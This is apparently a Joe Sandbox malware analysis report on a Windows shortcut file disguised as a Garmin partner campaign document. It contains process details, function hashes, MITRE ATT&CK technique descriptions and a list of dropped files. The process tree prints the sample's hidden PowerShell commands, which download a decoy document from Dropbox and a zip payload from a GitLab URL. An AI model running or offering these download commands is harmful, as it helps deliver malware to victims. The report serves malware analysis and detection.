File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	06:59:12
Start date:	12/12/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp.com 437
Imagebase:	0x7ff674c20000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	06:59:12
Start date:	12/12/2024
Path:	C:\Windows\System32\findstr.exe
Wow64 process (32bit):	false
Commandline:	fINdstr /L /I set "C:\Users\user\AppData\Local\Temp\Updates.bat"
Imagebase:	0x7ff782a30000
File size:	36'352 bytes
MD5 hash:	804A6AE28E88689E0CF1946A6CB3FEE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	06:59:12
Start date:	12/12/2024
Path:	C:\Windows\System32\findstr.exe
Wow64 process (32bit):	false
Commandline:	fINdstr /L /I goto "C:\Users\user\AppData\Local\Temp\Updates.bat"
Imagebase:	0x7ff782a30000
File size:	36'352 bytes
MD5 hash:	804A6AE28E88689E0CF1946A6CB3FEE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	06:59:12
Start date:	12/12/2024
Path:	C:\Windows\System32\findstr.exe
Wow64 process (32bit):	false
Commandline:	fINdstr /L /I echo "C:\Users\user\AppData\Local\Temp\Updates.bat"
Imagebase:	0x7ff782a30000
File size:	36'352 bytes
MD5 hash:	804A6AE28E88689E0CF1946A6CB3FEE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	06:59:12
Start date:	12/12/2024
Path:	C:\Windows\System32\findstr.exe
Wow64 process (32bit):	false
Commandline:	fINdstr /L /I pause "C:\Users\user\AppData\Local\Temp\Updates.bat"
Imagebase:	0x7ff782a30000
File size:	36'352 bytes
MD5 hash:	804A6AE28E88689E0CF1946A6CB3FEE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	06:59:12
Start date:	12/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c type tmp
Imagebase:	0x7ff6d6c50000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	06:59:13
Start date:	12/12/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find
Imagebase:	0x7ff64c990000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	06:59:13
Start date:	12/12/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find
Imagebase:	0x7ff64c990000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	06:59:13
Start date:	12/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c type tmp
Imagebase:	0x7ff6d6c50000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 2356, Parent PID: 6288

General

Target ID:	17
Start time:	06:59:13
Start date:	12/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/r35bmmcqt1un1a6z77ynj/Garmin_Campaign_Information_for_Partners_V4.docx?rlkey=1e23z5j4qkvhy02q9ysayo83d&st=e10hhx5q&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V4.docx')"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	06:59:21
Start date:	12/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V4.docx'"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	06:59:22
Start date:	12/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/stare2/garmin/-/raw/main/fuknewGa1112De.zip', 'C:\Users\Public\Document.zip')"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	06:59:41
Start date:	12/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 00007FFD348C3545 Relevance: .4, Instructions: 436COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2269849876.00007FFD348C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd348c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87dedcf01065cb747aca3a90260a16d04ff6f0fc934ab1092349f3b65174b3b8
Instruction ID: 36710d7f1fe37d899cf9544d2a999cd4be32c5d62539aba686dfc6af6872bbc9
Opcode Fuzzy Hash: 87dedcf01065cb747aca3a90260a16d04ff6f0fc934ab1092349f3b65174b3b8
Instruction Fuzzy Hash: 4FD15862A0EA890FE7A59B6848E95B5BBE0EF57310F0801FFD14DC7193DA19AC06D341

Function 00007FFD348C0A19 Relevance: .4, Instructions: 376COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2269849876.00007FFD348C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd348c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e386b5f5c04fbd3ad35dd55af5137f92429c1573ba15932a5de9cb04d5b838d
Instruction ID: 85c7a74efa378a0e1fffdcdc74443428d302dffe3b4c997265d747af455b1418
Opcode Fuzzy Hash: 4e386b5f5c04fbd3ad35dd55af5137f92429c1573ba15932a5de9cb04d5b838d
Instruction Fuzzy Hash: 61B14722B0EB890FE75A97A858B6175BBE0EF43264B0801FFD189C71A3D91DAC45C342

Function 00007FFD348C0AA7 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2269849876.00007FFD348C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd348c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a62b2f65540b3678cd9a0e139d3d891150b9bc15d09b15cbb9529b5baae01769
Instruction ID: 3059190bfb871548452854a1c977f2e4f4d53fd0ca5293f67f08295ae386b3d3
Opcode Fuzzy Hash: a62b2f65540b3678cd9a0e139d3d891150b9bc15d09b15cbb9529b5baae01769
Instruction Fuzzy Hash: F831E122F0EA860FE7A997AC05F1178A3C1EF53299B5801BFD259C61D3DD0DAC45A201

Function 00007FFD347F4195 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2269526218.00007FFD347F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 348d5fb5261f51f812e1f49a056d31a35d386422633fb1efa08e0a84813b5c5b
Instruction ID: 592731abacee3d565aa924a8675069884c108abf0d6926e1b2383862bbc4da53
Opcode Fuzzy Hash: 348d5fb5261f51f812e1f49a056d31a35d386422633fb1efa08e0a84813b5c5b
Instruction Fuzzy Hash: FF01677121CB0C8FD744EF4CE451AA5B7E0FB95364F10056DE58AC3655D636E881CB45

Non-executed Functions

Function 00007FFD347F6C4A Relevance: .6, Instructions: 605COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2269526218.00007FFD347F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d57c5fc43c569b481a827c732f32598b1c283f7bafc47f86dedb7e62d8c3cc09
Instruction ID: c96441afd4d2b770bc53f8aa77c2f4180cdaef895c3cb9adbaf2bccfaedd3395
Opcode Fuzzy Hash: d57c5fc43c569b481a827c732f32598b1c283f7bafc47f86dedb7e62d8c3cc09
Instruction Fuzzy Hash: 3E0205A3B1DB818FE765962C88A55E97BE0EF57320B0400BAC6C9C71A3E91D7807D7D1

Function 00007FFD347F642B Relevance: .3, Instructions: 320COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2269526218.00007FFD347F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e424d7f5f72d566beaecab5bcd0181f84af1d66694584f2c7abaab15af7f836
Instruction ID: d63ac7de96e0af696e2445010213c2f1a730db8f063f6c8cd457ac7835f90848
Opcode Fuzzy Hash: 8e424d7f5f72d566beaecab5bcd0181f84af1d66694584f2c7abaab15af7f836
Instruction Fuzzy Hash: 1DA14697B0D6D25FF672666C68B60EA3FE4DF5722470910B3C6C89A4A3DD0C284793D2

Function 00007FFD347F6AF8 Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2269526218.00007FFD347F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c248243d9be68a75fbdac85db1e2d0521add8aad392f1fbc8a3dfbb0360f70c6
Instruction ID: 75fa8f9e6a332834db63591452552e2f3777ace9ce870bb460b5e6f2bb6a511c
Opcode Fuzzy Hash: c248243d9be68a75fbdac85db1e2d0521add8aad392f1fbc8a3dfbb0360f70c6
Instruction Fuzzy Hash: 1A517DC7B1D6D25AF662922D58B60DA7FD4DF6336571900B7C6C4CA4A3A80D380BA3E1

Analysis Process: powershell.exePID: 7424, Parent PID: 6288COMMON

Executed Functions

Function 00007FFD348D0A59 Relevance: .2, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3411132356.00007FFD348D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd348d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21ee4f0b13c6d9dae961e44a3741944197ef8cffa46ef243d9df327876927afa
Instruction ID: deb79d0d01664d7857981eb12469605aed7a8748182b9fc54cc7cace53d586b0
Opcode Fuzzy Hash: 21ee4f0b13c6d9dae961e44a3741944197ef8cffa46ef243d9df327876927afa
Instruction Fuzzy Hash: 1B510522B1FA4A0FE7A9976C58B21B873D1EF83228B5802BFD159C31D3ED1DA8019341

Function 00007FFD348D0AA7 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3411132356.00007FFD348D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd348d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cadb42b584e044dc9b89dbb577e20f478049efe886f36d4a4cfa583846305f68
Instruction ID: e7747165d2245b3312355a461baa80b63ea78b7f2a8e9734d761fc343040edf2
Opcode Fuzzy Hash: cadb42b584e044dc9b89dbb577e20f478049efe886f36d4a4cfa583846305f68
Instruction Fuzzy Hash: A131D222F1FA860FE7A9A72814F11B862D1EF5325DB5802BED25DC61D3DD1DA845A301

Function 00007FFD34804195 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3410599256.00007FFD34800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd34800000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e6ffc2d01485e3675e6a7ede7ef7c0dc479045d5709cc38633428d358b59bad
Instruction ID: 9e9812686ad2bdc00d5abc0fdbb192622f9cfb03604bcdbd8aa87d2682c2e6c2
Opcode Fuzzy Hash: 3e6ffc2d01485e3675e6a7ede7ef7c0dc479045d5709cc38633428d358b59bad
Instruction Fuzzy Hash: 6F01A73021CB0C4FD744EF0CE051AA5B3E0FB95324F10052DE58AC3655D636E881CB41

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1_Garmin_Campaign Information for Partners(12-10).docx.lnk.download.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\Public\Document.zip

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\Updates.bat

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jcvwekcp.yku.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kek2ptmc.ksg.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kqj2enva.zkx.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mkiwgelb.nu3.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s4wqzuzv.aoh.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_stsdh31i.tcf.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tby4qaxi.per.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w0a4wjmr.asq.psm1

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Windows Analysis Report
1_Garmin_Campaign Information for Partners(12-10).docx.lnk.download.lnk